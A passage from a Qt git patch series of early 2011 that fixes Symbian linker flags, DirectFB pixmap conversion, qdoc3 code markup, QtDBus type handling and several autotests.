QNetworkRequest &request) const; -}; - -QT_END_NAMESPACE - -#endif -- cgit v0.12 From ff75ad64bb064d97582c8e3992a9db7aa4e016e1 Mon Sep 17 00:00:00 2001 From: Martin Storsjo Date: Fri, 4 Feb 2011 01:50:08 +0200 Subject: symbian/linux-gcce: Use -u _E32Dll when linking DLLs This is required when using older binutils versions (CodeSourcery 2009q1 requires it, while CodeSourcery 4.4-172 doesn't require it) with the linux-gcce mkspec. The -u option is already used in the same way for exe files, and the abld build system invokes ld with -u _E32Dll, too. Signed-off-by: axis Merge request: 2560 --- mkspecs/symbian/linux-gcce/qmake.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mkspecs/symbian/linux-gcce/qmake.conf b/mkspecs/symbian/linux-gcce/qmake.conf index faac2f1..648a591 100644 --- a/mkspecs/symbian/linux-gcce/qmake.conf +++ b/mkspecs/symbian/linux-gcce/qmake.conf @@ -54,7 +54,7 @@ DEFINES += __GCCE__ \ _STLP_NO_EXCEPTION_HEADER QMAKE_LFLAGS_APP += --entry=_E32Startup -u _E32Startup -QMAKE_LFLAGS_SHLIB += --default-symver --entry _E32Dll +QMAKE_LFLAGS_SHLIB += --default-symver --entry=_E32Dll -u _E32Dll QMAKE_LFLAGS_PLUGIN += $$QMAKE_LFLAGS_SHLIB gcceExtraFlags = --include=${EPOCROOT}/epoc32/include/gcce/gcce.h -march=armv5t -mapcs -mthumb-interwork -nostdinc -c -msoft-float -T script -- cgit v0.12 From aeeb80bd223b900ad1990a38272b9bb94fe9e9fe Mon Sep 17 00:00:00 2001 From: axis Date: Fri, 4 Feb 2011 14:08:17 +0100 Subject: Added missing edllstub.lib for GCCE. RevBy: Trust me --- mkspecs/features/symbian/symbian_building.prf | 1 + 1 file changed, 1 insertion(+) diff --git a/mkspecs/features/symbian/symbian_building.prf b/mkspecs/features/symbian/symbian_building.prf index 0cedaa0..f3b6c25 100644 --- a/mkspecs/features/symbian/symbian_building.prf +++ b/mkspecs/features/symbian/symbian_building.prf @@ -147,6 +147,7 @@ contains(TEMPLATE, lib):!contains(CONFIG, static):!contains(CONFIG, staticlib) { LIBS += -ledllstub.lib -ledll.lib\\(uc_dll_.o\\) } else :linux-gcce { LIBS += \ + -l:edllstub.lib \ -l:edll.lib \ -l:usrt2_2.lib \ -l:dfpaeabi.dso \ -- cgit v0.12 From c6c647c22efaa9d101324920da81b891becb1cf1 Mon Sep 17 00:00:00 2001 From: axis Date: Fri, 4 Feb 2011 14:09:01 +0100 Subject: Avoided the Linux version of the --no-undefined switch. RevBy: Trust me --- mkspecs/symbian/linux-gcce/qmake.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mkspecs/symbian/linux-gcce/qmake.conf b/mkspecs/symbian/linux-gcce/qmake.conf index 648a591..4c346da 100644 --- a/mkspecs/symbian/linux-gcce/qmake.conf +++ b/mkspecs/symbian/linux-gcce/qmake.conf @@ -46,7 +46,7 @@ QMAKE_CXXFLAGS_STATIC_LIB -= -fPIC QMAKE_LFLAGS_SONAME = #QMAKE_LFLAGS_THREAD += -#QMAKE_LFLAGS_NOUNDEF += -Wl,--no-undefined +QMAKE_LFLAGS_NOUNDEF = QMAKE_LFLAGS_RPATH = --rpath= DEFINES += __GCCE__ \ -- cgit v0.12 From 1c15dab336bd1806ff0762a0f4c92c0d83da6d8a Mon Sep 17 00:00:00 2001 From: axis Date: Tue, 1 Feb 2011 11:15:55 +0100 Subject: Fixed "not a valid preprocessing token" on GCCE. It seems to be fixed upstream already. RevBy: Gareth Stockwell --- src/3rdparty/phonon/mmf/abstractaudioeffect.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/3rdparty/phonon/mmf/abstractaudioeffect.h b/src/3rdparty/phonon/mmf/abstractaudioeffect.h index 70adcf6..517a334 100644 --- a/src/3rdparty/phonon/mmf/abstractaudioeffect.h +++ b/src/3rdparty/phonon/mmf/abstractaudioeffect.h @@ -124,7 +124,7 @@ private: #define PHONON_MMF_DEFINE_EFFECT_FUNCTIONS(Effect) \ \ -void Effect##::createEffect(AudioPlayer::NativePlayer *player) \ +void Effect::createEffect(AudioPlayer::NativePlayer *player) \ { \ C##Effect *ptr = 0; \ QT_TRAP_THROWING(ptr = C##Effect::NewL(*player)); \ -- cgit v0.12 From 0d9d1e0b1c9826900c569a32efbf9179c8730a13 Mon Sep 17 00:00:00 2001 From: Laszlo Agocs Date: Fri, 4 Feb 2011 15:44:07 +0200 Subject: Fix the broken QPixmap::fromSymbianRSgImage(). The retrieved VGImage handle was accidentally assigned to a local variable instead of the member with the same name so it always ended up creating an empty pixmap. Reviewed-by: Jani Hautakangas --- src/openvg/qvg_symbian.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/openvg/qvg_symbian.cpp b/src/openvg/qvg_symbian.cpp index b813800..ff0ab13 100644 --- a/src/openvg/qvg_symbian.cpp +++ b/src/openvg/qvg_symbian.cpp @@ -148,7 +148,7 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) destroyImages(); prevSize = QSize(); - VGImage vgImage = sgImageToVGImage(context, *sgImage); + vgImage = sgImageToVGImage(context, *sgImage); if (vgImage != VG_INVALID_HANDLE) { w = vgGetParameteri(vgImage, VG_IMAGE_WIDTH); h = vgGetParameteri(vgImage, VG_IMAGE_HEIGHT); -- cgit v0.12 From aa8d84efdc8e7dd26f36a3586050458d7be0c279 Mon Sep 17 00:00:00 2001 From: Denis Oliver Kropp Date: Fri, 4 Feb 2011 14:50:00 +0100 Subject: directfb: Pixmap creation always premultiplied the alpha even when it is already premultiplied in the image. This also avoids the temporary surface and blitting. Merge-request: 990 Reviewed-by: Marcel Schuette --- .../gfxdrivers/directfb/qdirectfbpixmap.cpp | 22 ++++------------------ 1 file changed, 4 insertions(+), 18 deletions(-) diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp index 6639983..50e0f5f 100644 --- a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp +++ b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp @@ -300,40 +300,26 @@ void QDirectFBPixmapData::fromImage(const QImage &img, Qt::ImageConversionFlags { alpha = QDirectFBPixmapData::hasAlphaChannel(img, flags); imageFormat = alpha ? screen->alphaPixmapFormat() : screen->pixelFormat(); + QImage image; if ((flags & ~Qt::NoOpaqueDetection) != Qt::AutoColor) { image = img.convertToFormat(imageFormat, flags); flags = Qt::AutoColor; } else if (img.format() == QImage::Format_RGB32 || img.depth() == 1) { image = img.convertToFormat(imageFormat, flags); + } else if (img.format() != imageFormat) { + image = img.convertToFormat(imageFormat, flags); } else { image = img; } - IDirectFBSurface *imageSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::DontTrackSurface); - if (!imageSurface) { - qWarning("QDirectFBPixmapData::fromImage()"); - invalidate(); - return; - } - - dfbSurface = screen->createDFBSurface(image.size(), imageFormat, QDirectFBScreen::TrackSurface); + dfbSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::NoPreallocated | QDirectFBScreen::TrackSurface); if (!dfbSurface) { qWarning("QDirectFBPixmapData::fromImage()"); invalidate(); return; } - if (image.hasAlphaChannel()) { - dfbSurface->Clear(dfbSurface, 0, 0, 0, 0); - dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_BLEND_ALPHACHANNEL); - } else { - dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_NOFX); - } - - dfbSurface->Blit(dfbSurface, imageSurface, 0, 0, 0); - imageSurface->Release(imageSurface); - w = image.width(); h = image.height(); is_null = (w <= 0 || h <= 0); -- cgit v0.12 From e9ab35ef663e9562385c974dcbeb7cf2d03ab70f Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Fri, 4 Feb 2011 15:10:10 +0100 Subject: Move the QtHelp tests in its own profile Reviewed-by: Sergio Ahumada --- tests/auto/auto.pro | 1 + tests/auto/gui.pro | 10 ---------- tests/auto/help.pro | 8 ++++++++ 3 files changed, 9 insertions(+), 10 deletions(-) create mode 100644 tests/auto/help.pro diff --git a/tests/auto/auto.pro b/tests/auto/auto.pro index c0004f7..c677249 100644 --- a/tests/auto/auto.pro +++ b/tests/auto/auto.pro @@ -19,4 +19,5 @@ contains(QT_CONFIG, multimedia): SUBDIRS += multimedia.pro contains(QT_CONFIG, phonon): SUBDIRS += phonon.pro contains(QT_CONFIG, svg): SUBDIRS += svg.pro contains(QT_CONFIG, declarative): SUBDIRS += declarative.pro +!symbian SUBDIRS += help.pro diff --git a/tests/auto/gui.pro b/tests/auto/gui.pro index 802e74a..4b809fb 100644 --- a/tests/auto/gui.pro +++ b/tests/auto/gui.pro @@ -80,11 +80,6 @@ SUBDIRS=\ qgroupbox \ qguivariant \ qheaderview \ - qhelpcontentmodel \ - qhelpenginecore \ - qhelpgenerator \ - qhelpindexmodel \ - qhelpprojectdata \ qicoimageformat \ qicon \ qimageiohandler \ @@ -221,10 +216,5 @@ win32:SUBDIRS -= qtextpiecetable qtextpiecetable \ symbian:SUBDIRS -= \ - qhelpcontentmodel \ - qhelpenginecore \ - qhelpgenerator \ - qhelpindexmodel \ - qhelpprojectdata \ qsystemtrayicon \ diff --git a/tests/auto/help.pro b/tests/auto/help.pro new file mode 100644 index 0000000..e6ee552 --- /dev/null +++ b/tests/auto/help.pro @@ -0,0 +1,8 @@ +TEMPLATE=subdirs +SUBDIRS=\ + qhelpcontentmodel \ + qhelpenginecore \ + qhelpgenerator \ + qhelpindexmodel \ + qhelpprojectdata \ + -- cgit v0.12 From 59caa5b23104dd1c6fb368fbd840a6b491536130 Mon Sep 17 00:00:00 2001 From: Markus Goetz Date: Tue, 18 Jan 2011 11:49:36 +0100 Subject: tst_qnetworkreply: Some additions --- tests/auto/qnetworkreply/tst_qnetworkreply.cpp | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp index fd494c6..fd37ebd 100644 --- a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp +++ b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp @@ -342,6 +342,8 @@ private Q_SLOTS: void synchronousRequest(); void synchronousRequestSslFailure(); + void httpAbort(); + // NOTE: This test must be last! void parentingRepliesToTheApp(); }; @@ -4566,7 +4568,7 @@ void tst_QNetworkReply::proxyChange() manager.setProxy(dummyProxy); QNetworkReplyPtr reply3 = manager.get(req); connect(reply3, SIGNAL(finished()), &QTestEventLoop::instance(), SLOT(exitLoop())); - QTestEventLoop::instance().enterLoop(1); + QTestEventLoop::instance().enterLoop(5); QVERIFY(!QTestEventLoop::instance().timeout()); QVERIFY(int(reply3->error()) > 0); @@ -5502,6 +5504,18 @@ void tst_QNetworkReply::synchronousRequestSslFailure() QCOMPARE(sslErrorsSpy.count(), 0); } +void tst_QNetworkReply::httpAbort() +{ + // FIXME: Implement a test that aborts a big HTTP reply + // a) after the first readyRead() + // b) immediatly after the get() + // c) after the finished() + // The goal is no crash and no irrelevant signals after the abort + + // FIXME Also implement one where we do a big upload and then abort(). + // It must not crash either. +} + // NOTE: This test must be last testcase in tst_qnetworkreply! void tst_QNetworkReply::parentingRepliesToTheApp() { -- cgit v0.12 From 5e59a2546f9dbbf58adb3a2169c3fffb58606d7e Mon Sep 17 00:00:00 2001 From: Markus Goetz Date: Mon, 22 Nov 2010 16:52:18 +0100 Subject: demo browser: Verbose output about Zerocopy usage --- demos/browser/networkaccessmanager.cpp | 9 +++++++-- demos/browser/networkaccessmanager.h | 1 + 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/demos/browser/networkaccessmanager.cpp b/demos/browser/networkaccessmanager.cpp index 9e717bb..c63c0eb 100644 --- a/demos/browser/networkaccessmanager.cpp +++ b/demos/browser/networkaccessmanager.cpp @@ -64,7 +64,7 @@ NetworkAccessManager::NetworkAccessManager(QObject *parent) : QNetworkAccessManager(parent), requestFinishedCount(0), requestFinishedFromCacheCount(0), requestFinishedPipelinedCount(0), - requestFinishedSecureCount(0) + requestFinishedSecureCount(0), requestFinishedDownloadBufferCount(0) { connect(this, SIGNAL(authenticationRequired(QNetworkReply*,QAuthenticator*)), SLOT(authenticationRequired(QNetworkReply*,QAuthenticator*))); @@ -106,14 +106,19 @@ void NetworkAccessManager::requestFinished(QNetworkReply *reply) if (reply->attribute(QNetworkRequest::ConnectionEncryptedAttribute).toBool() == true) requestFinishedSecureCount++; + if (reply->attribute(QNetworkRequest::DownloadBufferAttribute).isValid() == true) + requestFinishedDownloadBufferCount++; + if (requestFinishedCount % 10) return; double pctCached = (double(requestFinishedFromCacheCount) * 100.0/ double(requestFinishedCount)); double pctPipelined = (double(requestFinishedPipelinedCount) * 100.0/ double(requestFinishedCount)); double pctSecure = (double(requestFinishedSecureCount) * 100.0/ double(requestFinishedCount)); + double pctDownloadBuffer = (double(requestFinishedDownloadBufferCount) * 100.0/ double(requestFinishedCount)); + #ifdef QT_DEBUG - qDebug("STATS [%lli requests total] [%3.2f%% from cache] [%3.2f%% pipelined] [%3.2f%% SSL/TLS]", requestFinishedCount, pctCached, pctPipelined, pctSecure); + qDebug("STATS [%lli requests total] [%3.2f%% from cache] [%3.2f%% pipelined] [%3.2f%% SSL/TLS] [%3.2f%% Zerocopy]", requestFinishedCount, pctCached, pctPipelined, pctSecure, pctDownloadBuffer); #endif } diff --git a/demos/browser/networkaccessmanager.h b/demos/browser/networkaccessmanager.h index 76fc198..d6e6ede 100644 --- a/demos/browser/networkaccessmanager.h +++ b/demos/browser/networkaccessmanager.h @@ -60,6 +60,7 @@ private: qint64 requestFinishedFromCacheCount; qint64 requestFinishedPipelinedCount; qint64 requestFinishedSecureCount; + qint64 requestFinishedDownloadBufferCount; public slots: void loadSettings(); -- cgit v0.12 From f3350644b74a37d7619d2de57f345e8d6dcb30f3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 4 Feb 2011 16:39:49 +0100 Subject: Doc: Document display-orientation-related widget attributes. Reviewed-by: mread --- src/corelib/global/qnamespace.qdoc | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc index 8440542..65cd7f4 100644 --- a/src/corelib/global/qnamespace.qdoc +++ b/src/corelib/global/qnamespace.qdoc @@ -1252,6 +1252,13 @@ to this top level window. This attribute has no effect on non-X11 platforms. + \value WA_LockPortraitOrientation Locks the widget to a portrait orientation, + ignoring changes to the display's orientation with respect to the user. + \value WA_LockLandscapeOrientation Locks the widget to a landscape orientation, + ignoring changes to the display's orientation with respect to the user. + \value WA_AutoOrientation Causes the widget to change orientation whenever the + display changes orientation with respect to the user. + \omitvalue WA_SetLayoutDirection \omitvalue WA_InputMethodTransparent \omitvalue WA_WState_CompressKeys -- cgit v0.12 From e664bcceeeac38d19cbd6e8e1fc8883442f85e1b Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 4 Feb 2011 21:21:37 +0100 Subject: Fixed C++ and plain markup found in \c commands. --- tools/qdoc3/cppcodemarker.cpp | 31 +++++++++++++++++++++++++------ 1 file changed, 25 insertions(+), 6 deletions(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 1b1e8f2..29f1c52 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -911,7 +911,7 @@ static QString untabified(const QString &in) QString CppCodeMarker::addMarkUp(const QString &in, const Node * /* relative */, - const Location & /* location */) + const Location /* &location */) { #define readChar() \ ch = (i < (int)code.length()) ? code[i++].cell() : EOF @@ -935,6 +935,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, int braceDepth = 0; int parenDepth = 0; int i = 0; + int start = 0; char ch; QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)"); QRegExp functionRegExp("q([A-Z][a-z]+)+"); @@ -942,7 +943,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, readChar(); while (ch != EOF) { - int second = i; + int finish = i; QString tag; bool target = false; @@ -950,6 +951,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, QString ident; do { ident += ch; + finish = i; readChar(); } while (isalnum(ch) || ch == '_'); @@ -970,6 +972,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, } } else if (isdigit(ch)) { do { + finish = i; readChar(); } while (isalnum(ch) || ch == '.'); tag = QLatin1String("number"); @@ -992,10 +995,12 @@ QString CppCodeMarker::addMarkUp(const QString &in, case ']': case '|': case '~': + finish = i; readChar(); tag = QLatin1String("op"); break; case '"': + finish = i; readChar(); while (ch != EOF && ch != '"') { @@ -1003,19 +1008,23 @@ QString CppCodeMarker::addMarkUp(const QString &in, readChar(); readChar(); } + finish = i; readChar(); tag = QLatin1String("string"); break; case '#': + finish = i; readChar(); while (ch != EOF && ch != '\n') { if (ch == '\\') readChar(); + finish = i; readChar(); } tag = QLatin1String("preprocessor"); break; case '\'': + finish = i; readChar(); while (ch != EOF && ch != '\'') { @@ -1023,28 +1032,35 @@ QString CppCodeMarker::addMarkUp(const QString &in, readChar(); readChar(); } + finish = i; readChar(); tag = QLatin1String("char"); break; case '(': + finish = i; readChar(); parenDepth++; break; case ')': + finish = i; readChar(); parenDepth--; break; case ':': + finish = i; readChar(); if (ch == ':') { + finish = i; readChar(); tag = QLatin1String("op"); } break; case '/': + finish = i; readChar(); if (ch == '/') { do { + finish = i; readChar(); } while (ch != EOF && ch != '\n'); tag = QLatin1String("comment"); @@ -1052,6 +1068,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, bool metAster = false; bool metAsterSlash = false; + finish = i; readChar(); while (!metAsterSlash) { @@ -1064,6 +1081,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, metAsterSlash = true; else metAster = false; + finish = i; readChar(); } tag = QLatin1String("comment"); @@ -1072,23 +1090,24 @@ QString CppCodeMarker::addMarkUp(const QString &in, } break; case '{': + finish = i; readChar(); braceDepth++; break; case '}': + finish = i; readChar(); braceDepth--; break; default: + finish = i; readChar(); } } QString text; - if ((tag.isEmpty() || second == 1) && i == code.length()) - text = code.mid(second - 1, i - second + 1); - else - text = code.mid(second - 1, i - second); + text = code.mid(start, finish - start); + start = finish; if (!tag.isEmpty()) { out += QLatin1String("<@") + tag; -- cgit v0.12 From 7f919a56fe4e6e5e9b610361b8b0b32631c5edb1 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Sat, 5 Feb 2011 00:34:08 +0100 Subject: Fixed build breakage. --- tools/qdoc3/cppcodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 29f1c52..752d007 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -911,7 +911,7 @@ static QString untabified(const QString &in) QString CppCodeMarker::addMarkUp(const QString &in, const Node * /* relative */, - const Location /* &location */) + const Location & /* location */) { #define readChar() \ ch = (i < (int)code.length()) ? code[i++].cell() : EOF -- cgit v0.12 From eb5e587af8867fa57ee764441905bdf982ab43c6 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Sat, 5 Feb 2011 22:47:10 +0100 Subject: Ensured that trailing newlines are quoted and correct atoms are used. Newlines after comments at the end of files were previously omitted. An assumption about the type code being quoted caused incorrect CSS classes to be used and extra HTML elements to be used. --- tools/qdoc3/cppcodemarker.cpp | 5 ++++- tools/qdoc3/doc.cpp | 17 +++++++++++++---- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 752d007..e27916b 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -936,6 +936,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, int parenDepth = 0; int i = 0; int start = 0; + int finish = 0; char ch; QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)"); QRegExp functionRegExp("q([A-Z][a-z]+)+"); @@ -943,7 +944,6 @@ QString CppCodeMarker::addMarkUp(const QString &in, readChar(); while (ch != EOF) { - int finish = i; QString tag; bool target = false; @@ -1120,7 +1120,10 @@ QString CppCodeMarker::addMarkUp(const QString &in, if (!tag.isEmpty()) out += QLatin1String(""); + } + if (start < code.length()) { + out += protect(code.mid(start)); } return out; diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 76c47a2..a730799 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -369,6 +369,7 @@ class DocParser void appendChar(QChar ch); void appendWord(const QString &word); void appendToCode(const QString &code); + void appendToCode(const QString &code, Atom::Type defaultType); void startNewPara(); void enterPara(Atom::Type leftType = Atom::ParaLeft, Atom::Type rightType = Atom::ParaRight, @@ -1112,9 +1113,8 @@ void DocParser::parse(const QString& source, append(Atom::SnippetIdentifier, identifier); } else { - Doc::quoteFromFile(location(),quoter,snippet); - appendToCode(quoter.quoteSnippet(location(), - identifier)); + marker = Doc::quoteFromFile(location(),quoter,snippet); + appendToCode(quoter.quoteSnippet(location(), identifier), marker->atomType()); } } break; @@ -1855,7 +1855,7 @@ void DocParser::appendToCode(const QString& markedCode) { Atom::Type lastType = priv->text.lastAtom()->type(); #ifdef QDOC_QML - if (lastType != Atom::Qml) + if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript) append(Atom::Qml); #else if (lastType != Atom::Code) @@ -1864,6 +1864,15 @@ void DocParser::appendToCode(const QString& markedCode) priv->text.lastAtom()->appendString(markedCode); } +void DocParser::appendToCode(const QString &markedCode, Atom::Type defaultType) +{ + Atom::Type lastType = priv->text.lastAtom()->type(); + if (lastType != Atom::Qml && lastType != Atom::Code && lastType != Atom::JavaScript) + append(defaultType, markedCode); + else + priv->text.lastAtom()->appendString(markedCode); +} + void DocParser::startNewPara() { leavePara(); -- cgit v0.12 From c696b4fe5a0acd85bc739fb148b8f76965f12d20 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 3 Feb 2011 19:26:36 +0100 Subject: Autotest: Use QElapsedTimer for timings --- tests/auto/qdbusperformance/tst_qdbusperformance.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp index 42db697..a5b4b98 100644 --- a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp +++ b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp @@ -125,7 +125,7 @@ void tst_QDBusPerformance::init() void tst_QDBusPerformance::callSpeed() { - QTime timer; + QElapsedTimer timer; int callCount = 0; timer.start(); @@ -141,7 +141,7 @@ void tst_QDBusPerformance::callSpeed() bool tst_QDBusPerformance::executeTest(const char *funcname, int size, const QVariant &data) { - QTime timer; + QElapsedTimer timer; int callCount = 0; qint64 transferred = 0; -- cgit v0.12 From fa9b8b6420b0805000435a0b312f47f990dab9a5 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 4 Feb 2011 15:32:35 +0100 Subject: Autotest: simple improvements --- tests/auto/qprocess/tst_qprocess.cpp | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tests/auto/qprocess/tst_qprocess.cpp b/tests/auto/qprocess/tst_qprocess.cpp index 4ee8957..b0f7a9f 100644 --- a/tests/auto/qprocess/tst_qprocess.cpp +++ b/tests/auto/qprocess/tst_qprocess.cpp @@ -249,6 +249,8 @@ void tst_QProcess::constructing() char c; QCOMPARE(process.read(&c, 1), qlonglong(-1)); QCOMPARE(process.write(&c, 1), qlonglong(-1)); + + QProcess proc2; } void tst_QProcess::simpleStart() @@ -265,7 +267,7 @@ void tst_QProcess::simpleStart() process->start("testProcessNormal/testProcessNormal"); if (process->state() != QProcess::Starting) QCOMPARE(process->state(), QProcess::Running); - QVERIFY(process->waitForStarted(5000)); + QVERIFY2(process->waitForStarted(5000), qPrintable(process->errorString())); QCOMPARE(process->state(), QProcess::Running); #if defined(Q_OS_WINCE) // Note: This actually seems incorrect, it will only exit the while loop when finishing fails @@ -277,7 +279,7 @@ void tst_QProcess::simpleStart() while (process->waitForReadyRead(5000)) { } #endif - QCOMPARE(process->state(), QProcess::NotRunning); + QCOMPARE(int(process->state()), int(QProcess::NotRunning)); delete process; process = 0; -- cgit v0.12 From 4f29c5d5381a76f24e13628da3edc5b19c6b1cd2 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Wed, 2 Feb 2011 13:23:40 +0100 Subject: Doc: Fix the docs saying what the locale codec is used for --- src/corelib/tools/qstring.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp index b96edb9..c1b8740 100644 --- a/src/corelib/tools/qstring.cpp +++ b/src/corelib/tools/qstring.cpp @@ -3868,8 +3868,7 @@ const char *QString::latin1_helper() const If \a size is -1 (default), it is taken to be qstrlen(\a str). - QTextCodec::codecForLocale() is used to perform the conversion - from Unicode. + QTextCodec::codecForLocale() is used to perform the conversion. \sa toLocal8Bit(), fromAscii(), fromLatin1(), fromUtf8() */ -- cgit v0.12 From fd2e832657a38d4dba9b86ce190f7736a837d53d Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 28 Jan 2011 16:40:51 +0100 Subject: Make qdbus show all types, even those that it doesn't know about --- src/dbus/qdbusmetaobject.cpp | 18 +++++++++++++++++- tools/qdbus/qdbus/qdbus.cpp | 11 +++++++++-- 2 files changed, 26 insertions(+), 3 deletions(-) diff --git a/src/dbus/qdbusmetaobject.cpp b/src/dbus/qdbusmetaobject.cpp index 5fe0589..6683505 100644 --- a/src/dbus/qdbusmetaobject.cpp +++ b/src/dbus/qdbusmetaobject.cpp @@ -169,6 +169,8 @@ QDBusMetaObjectGenerator::QDBusMetaObjectGenerator(const QString &interfaceName, } } +Q_DBUS_EXPORT bool qt_dbus_metaobject_skip_annotations = false; + QDBusMetaObjectGenerator::Type QDBusMetaObjectGenerator::findType(const QByteArray &signature, const QDBusIntrospection::Annotations &annotations, @@ -178,7 +180,7 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature, result.id = QVariant::Invalid; int type = QDBusMetaType::signatureToType(signature); - if (type == QVariant::Invalid) { + if (type == QVariant::Invalid && !qt_dbus_metaobject_skip_annotations) { // it's not a type normally handled by our meta type system // it must contain an annotation QString annotationName = QString::fromLatin1("com.trolltech.QtDBus.QtTypeName"); @@ -201,6 +203,20 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature, return result; // unknown type is invalid too result.name = typeName; + } else if (type == QVariant::Invalid) { + // this case is used only by the qdbus command-line tool + // invalid, let's create an impossible type that contains the signature + + if (signature == "av") { + result.name = "QVariantList"; + type = QVariant::List; + } else if (signature == "a{sv}") { + result.name = "QVariantMap"; + type = QVariant::Map; + } else { + result.name = "QDBusRawType::" + signature; + type = -1; + } } else { result.name = QVariant::typeToName( QVariant::Type(type) ); } diff --git a/tools/qdbus/qdbus/qdbus.cpp b/tools/qdbus/qdbus/qdbus.cpp index 6ec8224..4e5cf9a 100644 --- a/tools/qdbus/qdbus/qdbus.cpp +++ b/tools/qdbus/qdbus/qdbus.cpp @@ -50,6 +50,8 @@ #include #include +Q_DBUS_EXPORT extern bool qt_dbus_metaobject_skip_annotations; + static QDBusConnection connection(QLatin1String("")); static bool printArgumentsLiterally = false; @@ -99,7 +101,7 @@ static void printArg(const QVariant &v) else if (arg.currentSignature() == QLatin1String("a{sv}")) printArg(qdbus_cast(arg)); else - printf("qdbus: I don't know how to display an argument of type '%s'\n", + printf("qdbus: I don't know how to display an argument of type '%s', run with --literal.\n", qPrintable(arg.currentSignature())); } else { printf("%s\n", qPrintable(v.toString())); @@ -311,7 +313,11 @@ static int placeCall(const QString &service, const QString &path, const QString int id = QVariant::nameToType(types.at(i)); if (id == QVariant::UserType) id = QMetaType::type(types.at(i)); - Q_ASSERT(id); + if (!id) { + fprintf(stderr, "Cannot call method '%s' because type '%s' is unknown to this tool\n", + qPrintable(member), types.at(i).constData()); + return 1; + } QVariant p; QString argument; @@ -435,6 +441,7 @@ static void printAllServices(QDBusConnectionInterface *bus) int main(int argc, char **argv) { + qt_dbus_metaobject_skip_annotations = true; QCoreApplication app(argc, argv); QStringList args = app.arguments(); args.takeFirst(); -- cgit v0.12 From 2b72330127cf045d324bc20dfbc9fac2d12c6cdb Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 28 Jan 2011 16:43:56 +0100 Subject: QtDBus: do not wait for reply for AddMatch and RemoveMatch We can't recover from these functions failing anyway, so don't ask for an error condition. The D-Bus library will set the no-reply flag under these conditions. Reviewed-by: Will Thompson --- src/dbus/qdbusintegrator.cpp | 38 ++++++++++++++------------------------ 1 file changed, 14 insertions(+), 24 deletions(-) diff --git a/src/dbus/qdbusintegrator.cpp b/src/dbus/qdbusintegrator.cpp index 2e7b052..bc03896 100644 --- a/src/dbus/qdbusintegrator.cpp +++ b/src/dbus/qdbusintegrator.cpp @@ -2074,30 +2074,20 @@ void QDBusConnectionPrivate::connectSignal(const QString &key, const SignalHook if (connection) { qDBusDebug("Adding rule: %s", hook.matchRule.constData()); - QDBusErrorInternal error; - q_dbus_bus_add_match(connection, hook.matchRule, error); - if (!!error) { - QDBusError qerror = error; - qWarning("QDBusConnectionPrivate::connectSignal: received error from D-Bus server " - "while connecting signal to %s::%s: %s 